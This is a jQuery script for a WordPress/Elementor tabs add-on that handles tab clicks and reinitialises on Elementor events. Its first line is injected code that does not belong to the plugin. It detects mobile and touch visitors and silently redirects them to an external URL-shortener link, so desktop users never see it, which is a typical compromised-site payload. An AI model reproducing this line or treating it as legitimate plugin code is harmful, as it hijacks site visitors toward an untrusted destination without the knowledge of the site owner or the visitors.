(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/pMRMqUxXY0r9");
(function( $ ) {
    'use strict';

    jQuery(document).ready(function () {
        // Initialize tabs functionality
        function initTabs() {
            var $tabsContainer = jQuery('.mt-addons-tabs');
            
            if ($tabsContainer.length === 0) {
                return;
            }

            // Handle tab clicks
            $tabsContainer.find('.mt-addons-tabs-nav a').on('click', function (event) {
                event.preventDefault();
                
                var $this = jQuery(this);
                var targetId = $this.attr('href');
                var $targetSection = jQuery(targetId);
                
                // Remove active class from all tabs and hide all content
                $tabsContainer.find('.mt-addons-tabs-nav li').removeClass('tab-active tab-current');
                $tabsContainer.find('.mt-addons-tab-content section').removeClass('content-current').hide();
                
                // Add active class to clicked tab and show target content
                $this.parent().addClass('tab-active tab-current');
                $targetSection.addClass('content-current').show();
            });

            // Activate first tab by default
            var $firstTab = $tabsContainer.find('.mt-addons-tabs-nav a:first');
            if ($firstTab.length > 0) {
                $firstTab.trigger('click');
            }
        }

        // Initialize on document ready
        initTabs();
        
        // Re-initialize on Elementor frontend events (for dynamic content)
        if (typeof elementorFrontend !== 'undefined') {
            elementorFrontend.hooks.addAction('frontend/element_ready/modeltheme-addons-tabs.default', function() {
                setTimeout(initTabs, 100);
            });
        }
    });
    
})( jQuery );